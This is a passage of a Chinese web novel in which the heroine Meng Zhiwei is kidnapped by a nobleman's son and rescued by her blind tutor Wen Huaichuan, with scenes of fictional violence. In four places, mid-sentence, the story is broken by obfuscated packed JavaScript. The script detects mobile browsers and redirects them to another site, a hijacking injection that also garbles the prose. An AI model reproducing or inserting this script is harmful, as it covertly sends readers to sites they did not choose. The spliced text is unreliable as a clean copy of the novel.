他起身,留唐子玉在身后说:“这就走了,说喝一杯酒就真的只喝一杯啊,你这么克己复礼要憋出病的。温确?温确……” —— 京都朱家。 厅堂里哀嚎一片,朱家家主朱炳拿着根鞭子,一下一下地抽着近乎是趴在地上的人。 朱夫人抱着朱柄的腿声泪俱下:“老爷!老爷!我们可只有这么一个儿子啊,你打死了他我要怎么办!” “打死才好呢!今日在朝堂上我的这张老脸都给他丢尽了,陛下和太后就差没直说我教子无方了!今天我就是要打得他再也没有爬出去的力气,看他还敢去什么解孤山,温淮川是何人,那是天子老师,你有几个胆子,敢去那里闹事!” 朱夫人:“天子老师又怎么了,我们霜儿还是当今贵妃呢,圣上明面上不好直接偏袒自己的岳丈舅弟,但到底是要看霜儿的面子的,更何况还有太后给她撑腰,你只管低头认错就好了,又何苦真的回家动刑呢,你看看你看看我骁儿都被你打成什么样了!” 朱骁一听,连忙爬向母亲,屁滚尿流地哭到:“母亲,母亲,孩儿知错了。” 朱老爷子见自己儿子的样子,气不打一处来,随手又扬起鞭子。 “他都知错了你还想要怎样!”朱母护在前面,朱家老爷这一鞭子是怎么也打不下去了,他气急败坏地丢在一旁,愤愤而去:“慈母多败儿!” 朱母心疼自家儿子,连忙让人搀着回了房。 房屋内摆设尽数奢侈,朱骁躺在床上由着丫鬟上药。 他痛得嗷嗷直叫,骂天又骂地。 “狗娘养的东西,一个瞎子,骑到我头上来,哎呦你轻点轻点啊废物!”他回头辱骂那丫鬟,一旁跟在他身边的那个仆从叫王四,他看样驱散了丫鬟,亲自来上药。 “爷,您忍着点。” 朱骁躺在床上哼哼:“我真是倒了霉了,旧伤未好,又添新伤……” 他话音未落又抬头看向来人,“对了,我让你去查的事,你查的怎么样了?” 王四:“爷,您真是明白人,奴才让人看了那车轮子,的确是被人动了手脚。” 朱骁闻言要起来:“谁这么大胆子哎呦……” 他动作大到惊动身上的伤,嚷嚷着又躺了回去,“谁这么大胆子敢动本少爷的车。” “您慢点,您慢点。”王四搀着人躺下,邀功似地说:“奴才想了想,这车子必然是被解孤山的人动了手脚,这仇自然是要报到解孤山身上。” “又是那瞎子!等我好了我必然要杀上山去!” “爷!眼下您养病要紧,这事不迟,且奴才还知道一事。”王四压低了声音。 “何事?”朱骁疑惑地看去。 王四:“解孤山有一个小厮,他就在前头白石街上卖梅子酒。您若是不解气,等这段时间过去了,小人设下埋伏,咱们神不知鬼不觉地,夜里将人捉来,给您解气。到时候哪怕解孤山追究起来,死无对证,自然您也不用受着老爷子骂了。” 朱骁点头:“敢惹小爷我,小爷自然是要给他点颜色看看,你这就去办!” —— 霜降一过,果然就开始下起雪来。 风月堂早早地就把屋里屋外遮得严严实实的了,屋内的地龙火盆都备好了十足十的量。 先生已经鲜少出门了,连这些天的功课都是提早布置好的。 孟知微偶尔经过他屋舍的廊檐,听到里头咳嗽声阵阵的,又见观展大哥一贴一贴的药煎好往里送,也没见有好转。 孟知微起先以为先生只是天气变寒,咳疾严重。只是等到再过了些日子,解孤山下了一场大雪,孟知微早早起来扫雪,却见观展大哥端出来的铜盆里竟然满满地都是血水。 一个人流了这么多血,真的能活下来吗。 孟知微放下扫帚慌忙要进去看,却被追风拦在外面。 观展也来劝她:“小五,站远些。” 孟知微眼睛盯着他端出来的血水,神色慌张:“可先生这——” 观展:“只是看起来吓人些,其实也是惯例,每年冬日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036007|178679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发作就是这样的,会好的。” 观展这样安慰道。 一屋子人面色凝重,孟知微不好硬闯,也帮不上什么忙只能在外头急得团团转。 她转来转去后又停住,回了自己屋里提了几壶酿的最醇厚的酒,急匆匆跑去梅园。 唐子玉在那儿钓鱼,见到来人,还未来得及打招呼,匆匆跑过来的人就扑通一声在他面前跪下了。 唐子玉:“小五,你这是做什么?” 孟知微:“求求唐阁主了,您一定有办法救救我家先生的。” “原是为这事。”唐子玉又恢复成悠然的样子,“你放心,他就是放点血,还没要到死的时候呢。” 什么叫做还没要到死的时候,孟知微着急:“唐阁主,您救救我家先生吧,您救救他,我明年的梅子绝不白拿,我按照市价,不,我按照市价的两倍给您。” 孟知微一直磕头。 唐子玉不忍,把人扶起来:“小五,你也曾是官宦之女,怎可随意朝人跪拜,不符礼法。” 孟知微一抹眼眶里要掉下来的眼泪:“我双亲皆亡,阿姊兄长都不在身边,先生这一年对我恩重如山,如今先生命在旦夕,我还顾全什么礼法。” 唐子玉:“你倒是个知恩图报的。” 他叹口气:“罢了罢了,我最见不着人哭了,京都有个药铺名叫悬壶斋,那儿的店主是我的旧相识,你拿着这个。” 唐子玉递出一块玉佩来:“他见了自然就会抓药给你,这药虽然精贵,但救……” 唐子玉话到嘴边改了口:“但不能使他完全康复,只能缓解他的一些症状,让他少受点折磨。” 孟知微连忙道谢:“谢谢唐阁主,谢谢唐阁主。” 她话音都未落,拿着玉佩急匆匆地下山去了,唐子玉望了一眼她留下来的两壶酒,叹口气,摇了摇头。 —— 大雪封山,山路难行。 孟知微带着飞虎,费了比平时更多的时间才到山下,她乔装打扮了一番,混进了悬壶斋,拿出了唐子玉给她的玉佩,那店家只是看了一眼,语气顿时变得很客气:“您稍等。” 这之后才从里厅拿了药给她。 孟知微以为会有很多,谁知却只是一个拇指大的瓶子,见那样子,里头估计也只能装得下一粒。 她又连夜踏马而归。 寒夜飘雪,风声鹤唳。 孟知微捂紧了腰间的药,谁知刚出了城,恍然间听到身后马蹄追逐过来的声音,飞虎立刻进入警觉的状态。 孟知微直觉不妙,驾着飞虎加快速度,可谁知,从前面的岔路口又过来一波人。 孟知微栓紧马绳调转方向,可谁知,她四面八方早已尽数围了人,她不认识那些人,但看那些人的样子,皆是来着不善。 “束手就擒,别让我们动手。”对面的人厉声说道。 她强压着镇定,把原先藏在袖子里的药瓶,塞进马身上的软垫里,下一秒,她夺过一人手里的剑,混乱中从马匹上摔下来,一群人的刀光剑影瞬间下来,她大声喊道:“飞虎!回解孤山!” 带头的蒙面的人从车上下来,狠狠地踹了她一脚,孟知微整个人被摁倒在地上。 一只带着泥靴的脚踏上她纤细的手腕,她疼地在黑夜里大叫一声,脸颊眼眶圈沾上泥雪,恍惚之间,她看到白色的马匹在风雪中毫不回头地冲出人群。 她在失去意识的那一瞬间想的是,好在先生的药没有被她耽搁 。 14. 如梦令 这日一早,观展睡梦中听到马嘶的声音,披上外套就起来开门了,谁知打开门,就看到飞虎站在那儿。 它身上没有被落雪覆盖,一看就是一路狂奔回来的。 “怎么只有你,小五呢?”观展问道。 飞虎不停地用头往自己身后瞧着。 “怎么了这是?”观展也跟着看去,从坐垫下发现那儿的暗袋里装了个药瓶子,他拿出来,“这么快就拿到了,那她人呢?” 飞虎刨刨土。 观展:“你这是在干嘛。” 飞虎刨刨土。 观展:“我明白了,她又去山里捣鼓什么玩意下去卖钱了是吧,这小五,就是闲不住。” 他念叨着从飞虎身上拿下东西,对孟堇这偶尔夜不归宿也见怪不怪,她从前贪玩有时候也住在山脚下牛二郎家。 观展说着就要把飞虎牵进马圈,飞虎拧在那儿不肯走。 追风在院子里喊他去煎药,观展强行拖它进去:“行了行了,我还得去给先生煎药,没有时间跟你闹。” 门被一关,飞虎急得团团转。 —— 三日后雪停。 温先生度过这三日后,风月堂不似那般紧张,观展把门窗都打开,透一透屋子里的血腥气。 温淮川身穿一件宽松的中衣,轻纱下双目闭合,面色憔悴。 观展正要给自家先生披一件裘皮,追风却进来说到:“先生,唐阁主来了。” 通报还未结束,唐子玉就扇着扇子进来了,他见到面前的人端坐着:“这一关总算是给你熬出来了。” 观展想到药的事,作揖道谢说到:“此番多谢唐阁主了。” 唐子玉:“好说好说。” 温淮川略有些沙哑地声音缓缓说到:“你们下去吧,我和唐阁主说会话。” 两人屏退,唐子玉扇着扇子等人说话。 温淮川咳嗽了几声:“不吃你的药,我不过是昏迷三十六个时辰,吃了你的药,也是三天才能好,你又何苦浪费良药呢。” 唐子玉:“哎,话不能这么说,此药虽然不能根治,到底还是增补的,更何况,人活着,大多数的时候只是活个希望。” 温淮川:“无望的希望,你又何必给人呢。” 唐子玉收了扇子:“你自己失望不失望不要紧,我可见不得到小五失望,你是不知道,她那天把自己都舍不得喝的压箱底的梅子酒都拿出来给我,就看不得你昏迷不醒,卧床放血,我也是怕她干着急,才给了她个事做。” 温淮川:“可如今东西也拿到了,我也醒了,可她人又去了何处?” 唐子玉闻言:“啊?她还未回来?” 温淮川抬头:“你的意思,她早就回来了?” 唐子玉:“当天她取了药,药铺的伙计就给我发了飞鸽。” 温淮川此刻皱起眉头:“观展说回来的只有飞虎。” 两人突然安静片刻。 再这之后,两人同时动身,穿衣服的穿衣服,收扇子的收扇子。 温淮川穿完外衫,出声叫人:“观展,追风,随我下山。” “下山?”外头的观展和追风刚进来一脸迷茫。 “先生您昏迷刚醒,为了止毒又放了那么多血,身体如此虚荣,又怎么能下山呢,您有什么事让我和追风去做便是。” 温淮川没什么表情,反而是有些冷森森地说了一句: “带上飞龙飞虎,随我下山!” —— 飞虎口不能言被栓在马棚里三天憋坏了,狂奔着在前头带路。 一行人跟着飞虎到了京郊的一条岔路口,唐子玉下车查看。所幸路面的雪未消融,唐子玉看到那儿乱成一片的马蹄印子,用手摸了一把,断言道:“这儿发生过打斗。” 再往前就是京都了,温淮川不便直接露面,于是叫来追风:“追风,你跟着马蹄去打探,看最终是去了什么地方。” “是。” 追风快马入城,追到那马蹄印最终消失的街道,只见尽头是一个荒院,他下马观察脚印,发现马群进去了之后再出来的脚印就毫无章法了,只有一道有些模糊的车辙印子往外出来,他一路跟着车辙印子走,最后见印子消失在一座大宅外。 追风抬头,眼见那样子齐齐整整的,带着“朱”字。 —— 朱家近日气氛倒是平和,朱骁为了讨父亲朱柄高兴,这些天一来勾栏瓦舍的邀请一一拒绝,说是在家安分读书。 到底就这么一个亲儿子,事情过去后朱柄也就没那么气了。 今日,朱骁请了京都里最好的酒楼厨子做了一桌,一家人吃的和睦,才不过放下筷子,外头就有人匆匆忙忙地冲了进来。 “老爷,外头递进来一个拜帖。” 拜贴还没有拿到朱柄面前呢,就被朱骁拦下了。 “什么人这个时候来拜访,没见到我爹才吃完饭吗,不见。” 朱骁要打发人下去,朱柄见那拜帖精致,又阻拦人道:“我瞧瞧。” 拜帖上被拆看,纸面上只是简单写了几句,朱柄原先的餍足表情瞬间就褪去了,他忙赶着下人收拾掉桌面,整理着行装往厅上走:“还不快快有请!” 朱骁不解:“何人啊爹爹。” 朱柄转过头来,面色凝重地嘱咐到:“温少师深夜到访定是有要事,之前解孤山的事刚过,你可万万不能出来!” 朱柄来不及抓到自己父亲的一片衣袖,凝神片刻,待到自己母亲来自己面前着急到:“骁儿,你莫不是又闯祸了?” 朱骁若有所思:闯祸?总不过就是丢了一个小厮,解孤山难不成还真的会为了他来为难当朝贵妃岳丈吗? —— 朱家厅堂灯笼高挂,烛火通明,气派辉宏。 朱柄出面迎接。 一阵北风里,银发蒙眼的人就站在门厅外。 他虽然穿一身青白色的大氅,但周身气息依旧淡如天上月,站在残雪庭院里,不似凡人样。 这位天子少师归隐前虽不怎么外出,但朝中谁能不知他银发蒙眼,所以即便没有见过,旁人就凭这外形就一眼能确定是他。 他身边站着两个随从,一个抱着双刀少年模样,另一个则是人高马大,似有蛮力。 还有一个留着长须发扇着扇子的,江湖人士打扮。 朱柄连忙让人上茶看座。 屋内的火炭换了新的,朱柄又让人把地龙拿过来,又让人加了挡风的门帘,忙里忙外。 “朱老爷不必忙碌,今日我们贸然到访,是有事相求。”坐在上座的温淮川淡淡出声。 朱柄:“先生严重了,在下教子无方,正打算因为当日骁儿的事专门上山与先生赔不是的。” 一直扇着扇子的男子轻笑一声:“这都过去月余了,朱老爷真是贵人事忙。” 朱柄面色尴尬。 温淮川:“我今日不是为了这事来的。” 朱柄:“那先生是?” 温淮川:“我有一小厮,前些日子奉我的命令下山,却被朱公子请来贵府喝茶,迟迟未回。” 朱柄一脸疑问:“这……犬子这些日子并未外出,也未见到请什么人来喝过什么茶啊。” 唐子玉:“儿子的事老子怎么能知道,朱老爷把令公子叫出来问一问,不就知道了吗?” 朱柄脸色有些挂不住了,他稍稍改了改神色,脊背直了几分:“温先生,您虽然是天子少师,可我朱家,不论贵妃娘年的荣辱,也是当朝四品,您带着这不明来路的江湖人士,硬要安我一个罪名,要是被陛下知道了,恐有不妥吧。” 温淮川:“若是没有,我自当赔罪。” 朱柄见人来人气势汹汹,又似是很有底气,他到底是不知道这个惹事的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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朱柄冷笑:“既然没搜到人,又有什么证据说是小儿绑了人。” 朱骁见到自己父亲挺起腰板,也扬言到:“对啊凭什么说是我啊,说不定你家小厮自己喝花酒去了,又或者是去了什么赌场。一个小厮本就是贱命一条,你们要找人去乱葬岗或许还快些……” 他话音未落,风雪倒灌的屋子里忽然寒光一闪,所有人都来不及反应的时候,出了鞘的锋利刀片已架在了朱骁脖子上。 朱骁来不及感受到疼,血丝已从他的脖子上渗出来了,他后知后绝地发现,面前站着的就是那个看上去病弱的人,可谁知他左手已经抽了刚刚那个少年腰间的刀,正落在自己脖间。 风把他的蒙眼轻纱吹起,他本应当孱弱的身子却握刀有力,分寸拿捏地刚刚好。 他的速度太快了。 朱柄连忙拍桌站起来:“温先生!我称你一声先生是看在当今陛下的颜面上,你别觉得我朱家怕了你,不过是从一品的少师,区区一个没有实权的挂名官,身负劳疾的短命鬼,你要是动了骁儿,你当真觉得你可以毫发无伤地从这里走出去吗!” 观展和追风瞬间拔刀,唐子玉抬抬脑袋,给自己倒了杯茶。 温淮川站在中间,手上力道加重:“还是不说?” 朱骁脖子已经血痕一片了,他哭喊起来:“爹!” 朱柄:“温淮川!我是当今天子岳丈!骁儿是当朝国舅!” “那又如何?”又是音冷如霜月的声音。 “你……你……”朱柄被气得说不出话来,“温确,你必是要与我为敌!与朱家为敌甚至……甚至与当今圣上为敌……你可想好了。” 未等朱柄说完。 只见风雪倒灌,烛火跳跃。 刀起瞬间,一声惨叫后,血溅屏风。 着一身月白色长衫的人收回刀。 几片雪落于靴前。 15. 如梦令 朱家老爷瘫坐在太师椅上。 此时惨叫的人是王四。 他活生生被砍断了一只手臂,痛苦地在地上扭曲,哀嚎声伴着刺目的血痕实在吓人。 一旁的唐子玉抽出另外一把刀,云淡风轻地把朱骁提过来:“这个就让我来杀吧。” 朱骁早已吓地屁股尿流,朱老爷子也没了刚刚的气定神闲,连跑带走的过来拉人。 朱骁吓得连连磕头:“我说,我说。” ———— 孟知微被抓走的那天,被套在麻袋里带去了她自己也不知道的地方。 她试图挣扎了几番之后发现自己挣扎就会被打,明白这个之后,她就不动了。 她不吃不喝地装了两天死,直到听见外面似乎来了人,守着她的那两人和来人在说话。 “王主管,别人都去干美差,就咱俩死守着这一个闷葫芦好些天了,另外寻觅美人的活什么时候也能交给我们兄弟俩啊。” 王四:“那活精细着呢,我都不得骁爷青眼,你俩还嫩着呢。” “还得靠王主管提携,咱哥这两天每日每夜得看着也不是个头啊,您看这屋里的人……” “行了。”王四被这哥俩缠得没办法,“事情也过去两天了,想必也没什么问题了,屋里那人,今晚就找个地方埋了吧。” 孟知微听到这儿,拼命地用脚蹬地面,虽然看不到外面,但她一直在试图踹翻些什么东西来发出响动。 王四啧了一声:“怎么这么闹腾。” “莫不是那人要跑?” 王四带着人冲进去,只见原先竖着放的人横躺在地上,又一动不动了。 王四:“怎么又不动了?莫不是死了?” 他急忙拆开麻袋来看,只见原先的麻袋里披头散发地躺着一个气息奄奄的人,她抬头瞬间对上,说的语气柔柔:“救救我。” 那模样三分娇弱,五分可怜。 王四皱起眉头:这小厮是个女的? 转而他忽然想到,公子正在给那位挑适龄的女子,正所谓踏破铁鞋无觅处,得来全不费功夫,这不正有一个吗? 孟知微冒了赌一把的风险,如果不是暴露自己女子的身份,那她很有可能今天就会被活埋。 ?果然,那个叫王四的没敢再动她,反倒让人给她准备干净的衣裳收拾起来,还让人收拾打扮一番关在密室里。 孟知微猜想,王四可能帮什么不便透露姓名的富贵人家在寻觅小妾之类的。她这招险是险,赌也是赌了一把,可好过被人活活埋死,只要还有出去的机会,她就能逃。 可说来也就蹊跷,夜色暗下来之前有人来送饭。但那人并没有放下食盒就走,而是突然抓起孟知微的手,孟知微下意识要抽回,但掌心里却渗透丝丝凉意。 她被蒙上双眼,看不到对面,但却从掠过她掌心的罗衫判断那是个女子。 ?她在她掌心一笔一画地写下:放心。我会救你。 她是谁?为什么要救她? 外头有人把守,孟知微不敢轻举妄动,只是轻轻的点了点头。 这之后,孟知微原以为自己还得受几天折磨,但突然,暗室的门被闯进,她下意识往后缩,直到听见观展大哥的声音:“小五!” “观展大哥?” 手上的麻绳和蒙眼的都被解下。 “你可有受伤?” “他们有没有对你怎么样啊?” 孟知微摇摇头:“我没事。” 孟知微看到面前站着的一群人,追风、观展,甚至唐阁主也来了。 她不由得有些愧疚。 人群的后方,漆黑夜里他肩头上都是落雪,虽依旧蒙着眼,但应该对她是关切的。 孟知微一把跪下:“先生,小五给您添麻烦了。” “起来吧。”他虽然未有动作,但身体是往前倾的,“莫要在这里说话了,夜里要下雪,我们早早回山吧。。” —————— 马车行走在安静的山里。 唐子玉来来回回的给孟知微翻来覆去地看着:“小五,你跟我说,你有没有哪里受伤啊?” 温淮川眼神瞥向他:“受伤又如何,你又不是大夫。” 唐子玉赌气地置了置孟知微的手:“你倒是大夫,你一副置身事外的样子!” 孟知微连忙解释道:“我没事,我没事。” 她转而问道:“先生您好一些了嘛?还咳嗽?还……还放血嘛?” 温淮川:“你送上来的药,我吃完已经没事了。” 唐子玉:“唉,温确,你前头还说我那药…..” 唐子玉腿上结结实实地挨了一脚。 温淮川:“子玉,你出去骑马,我与小五有话要说。” 唐子玉冷哼一声,大手一挥:“行吧,我不如骑马去自在。” 空荡荡的马车里就留下他们两个。 温淮川这才问她:“可有哪里受伤?” 孟之微摇摇头:“您问过很多遍了。” 说到这里,她忽然想起来之前那个在她手心里写字的女子,她连忙问道:“先生,您是不是安排了其他人来救我?” “其他人?”温淮川凝神思考片刻,“你的位置是我们逼问朱骁而得的,我不曾安排过其他人。” 那是谁呢?谁还会莫名其妙地就她呢。 等等…. 孟之微:“先生,您说您是逼问朱骁的?” 温淮川:“嗯,我… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“无妨,这世间……”他说到一半,外头的飞虎忽然惊吁一声。 在之后,外头传来一个妇人的声音。 “温淮川!你还敢踏入京都,你这个要下地狱的魔头,黑心肠的杀千刀,阎王老爷迟早把你收了去,叫你曝尸荒野,永不超生!” 眼前这个温润如玉的人被她骂成人人喊杀喊打的修罗。 孟之微扶住马车凳的手一紧,却看到面前的人只是淡淡一笑,继续刚刚的话题: “瞧见了,这世间多的是要找我要说法的人。” 16. 如梦令 外头妇人的这骂声也太难听了。 孟知微哪忍得了这口气,掀开马车帘要骂回去,温淮川伸手拉住她,摇头:“赶路要紧。” 外头的唐子玉也高声说道:“径直过去,莫要理会这山野泼妇。” 随之马车车轮起步,越过那骂人的妇人。 孟知微从车子行进的颠簸里从马车窗帘的缝隙里往外看去,那妇人衣着破旧,模样甚至连普通市井百姓都算不上,她神色枯槁,却依旧站在大雪中仍谩骂不止。 马车里的人却跟没有听见一样岿然不动。 孟知微合上了帘子,直到那骂声消消失在一片无尽的雪夜里,她才刚从不明朗的光线里去看他。 他避世于山路难行的解孤山,但世人皆不远千里要拜他,到底是仰慕其才华,还是借他结交权贵? 或是像爹爹从前说的那样,这位天子少师,是因玩弄权术罪孽深重要躲到山里赎罪的佞臣? 但这些对于孟知微来说不重要。 不管世人怎么评价他,她只需要知道一点,没有温先生,就没有如今的小五。 他是这个世界上能留在她身边最亲的人了。 ——————— 其实温先生的病并未好全,从山下回来后,他就又闭门不出养病了。 但好在似乎过了最难熬的日子,孟知微听唐子玉的意思来说,只需要养着就可以了。 唐子玉见孟知微无聊,也不必赶功课,于是就提议带她去闯荡江湖一段时间。 她以为温先生会阻止的,可临行前,温先生只是把她叫去了房中,嘱咐她在外都要听唐阁主的。 孟知微见温先生只是面色有些憔悴,应当没有大碍了,才肯说和唐子玉下山去。 她在马厩里倒了许多的粮草,还给飞龙飞虎喂了好几个后山雪地里挖掘三尺找到的萝卜,打扫好院子,安排好事宜,才出了解孤山。 其实说是闯荡江湖,唐子玉也没有带她去很远的地方。马儿走了小半个月,见了几个江湖小派,掺和进他们歃血为盟的仪式,体验一下路见不平拔刀相助,就够她回去吹很久了。 “追风你知道吗,歃血为盟的时候他们都说什么——不求同年同月生!但求同年同月死!你说,要是咱俩歃血为盟了,假如,我是说假如,假如你先死了,我死是不死?” 追风气的连刀都不磨了。 “观展大哥,我手上有两个门派发出的邀请,无涯派包一日三餐,每月还有例银可发,但是小门小派很容易不稳定,万一解散了我再另投他人岂不显得背主?另外一个光明派倒是大,江湖里哪都有驻点,说起来也威风,但给的例银却是小气,你觉得我该选哪个呢? 观展大哥一边喂马说道:“小五姑娘,这江湖门派一月也就休沐四天,就这四天少不了还得被叫去行侠仗义,结交朋友,您无课业的时候常常睡到日上三竿,您可受得了?” 孟知微坐在马厩外的稻草堆晃荡的双腿楞住:“月才休沐四天?”. 她在心头算了算,这月例银子瞬间不香了。 “小五。” 远处亭子里先生煮着一壶茶,他站在廊檐下,朝她点头:“过来喝茶。” 孟知微二话不说,直接就从高高的草垛上跳下来,毫无半点闺阁女模样。 廊檐下的人皱皱眉头。 唐子玉坐的七倒八歪的,见状笑:“这下好了,你是怕她见不得你这卧病在床的样子让我带她去江湖走一遭,人我是给你带回来了,心有没有回来我就不知道了。” 孟知微端端正正地坐在塌上,端起茶水。 温淮川见她穿的单薄,把余下的一个暖手炉递给她:“穿的这般少,仔细着了风寒。” 孟知微捂着手解释道:“先生莫怪,这是江湖里最新流行的衣衫款式,它很方便,且干净利落,舞刀弄枪都不在话下。” 唐子玉帮衬着:“新衣裳做起来管它天寒地冻就是要穿的嘛” 温淮川:“年下过节的衣衫我已经让人备好了,过了除夕,小五就及笄了,解孤山虽然比不上在京都,但过生辰礼,又是除夕,新的罗群衣衫必然是不能缺的,款式料子也是顶好的。” 唐子玉:“小五,你瞧瞧你家先生这心思,除夕还有两月余呢,这就给你张罗好了。” 孟知微对什么绫罗绸缎不感兴趣,她径直问道:“先生,那我兄长是否可要来接我?” 兄长离开之时承诺过,等到她及笄就会把她带走的。 温淮川:“我与你兄长通过信,他在南海尚且才刚刚稳住,接你回去,怕不是好时候。” 孟知微不免有些许失落,但又安慰自己喃喃道:“没事,兄长还是要先顾及好自身。” “至于你阿姊。”温先生又说道。 “我阿姊能来?”孟知微原先眼里落下的光又亮起来。 温淮川:“国公爷家规森严,她忙于照料家事,你们姊妹此刻还是不见为好。” “嗯。”低低的一声,混进煮开水的混沌沸腾里。 唐子玉:“没事,这不是还有我们嘛,及笄礼嘛,那些繁文缛节都不重要,小五,你有什么想吃的尽管与我说,子玉哥哥到时把醉仙楼的厨子给你绑上来,想吃什么都让他给你做。” 孟知微被逗笑了。 温淮川:“你这年岁够当小五的叔叔了,梅园的墙都没你脸皮厚。” 唐子玉:“你与我差不多年岁,你还有脸说我。” 温淮川:“我这年纪做她夫子,算是年轻。” 唐子玉没好气:“老东西。” 他又转头对孟知微说:“小五今年还酿梅子酒不?” 孟知微点点头:“自然是要酿的。只是不知先生还有什么课业安排。” 孟知微看向坐在对面喝茶的人。 屋子里炭火融融的,温先生面色已经大好,他放下茶盏,缓缓说道:“我正要与你说此事,这一年来你的功课,虽字迹依旧潦草不登大雅之堂,文章词藻里仍见稚嫩,稍有不慎还有大逆不道之言……” 孟知微越听越皱眉头:“先生……” 温淮川:“……但偶有见解也可圈可点,从另一个角度来说,也能称得上是剑走偏锋,这一年比起世家贵族的私塾学堂,也不算白费时光,我正要问问你,往后你还想学点什么?” 学点什么? 孟知微眼睛里亮起来:“我能学武功吗?” 原先端着茶盏的人落下杯子后晃荡出些许茶水滴在桌上。 刹那间,他脑海中浮现尸山火海,哀鸿遍野的惨状。 唐子玉:“这有何难……” 温淮川:“不成。” 他语速难得的快,把孟知微和唐子玉都惊到了。 孟知微:“为何不可?先生,若我有武功傍身,我那天就不会被朱骁的人捉了去,我遇到什么事情了也可以自保,不用总是让追风跟我一起下山。” 温淮川眼神落在茶水上:“你是女子,舞刀弄枪,像什么样子?” 孟知微:“为何女子不能学武,我嫡母王氏就是将门之女。再说,先生从来都不认为男子应该做什么女子应该做什么这一套规训是对的。” 温淮川端过茶盏,声音沉了沉:“我只懂诗书,不通武艺。” 孟知微:“可让观展大哥叫我,追风也会啊。” 温淮川:“你性子不沉,学了武,迟早闯出祸端。” 孟知微皱眉:“先生,为何您总是觉得我会闯祸,我只是想自保,当日朱骁的事是我走运,可若是下一次,下一次我没有那么走运呢,我迟早会离开解孤山的,您能救我一次,难道还能保护我一辈子吗?” 对面的人有片刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036010|178679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的沉寂。 是啊,她迟早会离开解孤山的。 他到底是教她这许多好,还是不教她这些。 温淮川:“总之,不许。” 孟知微:“先生……” 温淮川:“不许。” 斩钉截铁地两个字,堵了她所有的话。 孟知微委屈,赌气撤了茶盏走了。 屋子里就剩两人了,唐子玉懒懒地扇着扇子,斜眼瞧着温淮川:“你呀,既期盼她能安身立命,又想要她碌碌无为。矛盾的是你,挣扎的也是你。” “唉。”唐子玉长叹一声,收齐扇子,悠悠然出了门。 “无解啊,无解啊。” —— 夜里,孟知微翻来覆去地睡不着。 她翻出母亲留下的那杆可以伸缩的匕首,抚摸着上面的纹路。 年幼在家时,母亲一杆银枪舞得很好,这个可伸缩的匕首就是从银枪木仓头可以分朔开的机关上拆下来的。 虽然母亲从前在家与她交流不多,且因为她早早亡故的亲生母亲和她多有嫌隙,但每次家中有什么好吃的好玩的,母亲都是公平分给家里三个孩子的,孟知微从来都没有受过什么委屈。 而且母亲最心爱的东西,还给了她。由此可见,母亲对她的爱,不比兄长阿姊少。 月光皎皎,年关将至。 去年除夕还是一家守岁,她还是个只知道玩闹的皮猴子,再大的风雨都落不到她的身上。如今年关将至,家中却七零八落,举目茫茫。 她在解孤山虽好,但总也想念父亲母亲,想念兄长阿姊。 人生无根蒂,飘如陌上尘(1) 不管是读书还是学武,恐也只是她茫茫一颗心慌乱的投射罢了。 她擦把眼泪,闷进被褥里。 —— 孟知微第二天起了一大早。 她去后山砍了一棵竹子,削去两端,把匕首的一段用布条缠绕上做枪头。 远离风月堂,她在茂密的竹林里,按照记忆里母亲的招式,出枪,收回,扫地,斩马,惊落一地的竹叶。 风声簌簌里,她几次打到自己的腿,她又怕疼,哎呦哎呦了两声后,依旧拿起枪继续练。 她翻来记载步法枪法的古籍,从早到晚地练,她知道,她以后还要做很多事,她必须要有自保的能力。 接连几日,她都早起练功完了再去风月堂,以防被人看出来。 她自以为瞒得很好,却没看见竹林高高的悬石上,着月白长衫蒙眼的人。 观展在一旁实在是看不下去了:“先生,小五这样练,怕是练个半年一年也毫无进步的。” 银发如瀑的人不言,只是远远地望着。 —— 这一日距离年下除夕不到一月了,夜里一阵雪后,山路就变得更加难走了。 孟知微依旧来了竹林,因为有积雪,她一招一式更是笨重。 她大汗淋漓矫正步法时,却听到头顶传来一个声音。 “你这样练,是练不出来的。” 这声音有些熟悉,她抬头望去,却见纤细的竹竿上站了一个人。 那竹竿都已被压弯,那人却稳着身子纹丝不动,应当是轻功极好的人。 没等她看清,那人轻盈地如同一只鸟一样稳稳地落在他的面前,片叶不沾。 孟知微最先看到的是他的那双眼睛,明明是初见却有着莫名的熟悉感 狭长的桃花眼让人初看觉得含情,甚至有种勾人魂魄的美,但他眼底的沉寂却盖过了这份张扬的美,这种矛盾冲击下却给他的长相多了几分冷岑岑的慈悲。 长身玉立的轮廓是她熟悉的。 她几乎是要脱口而出。 先生! 但下一秒,她又摇头。 不对!他的头发是黑色的。 17.如梦令 孟知微意识到来人是她不认识的,下意识往后退一步,做了做揖:“这位公子是?” 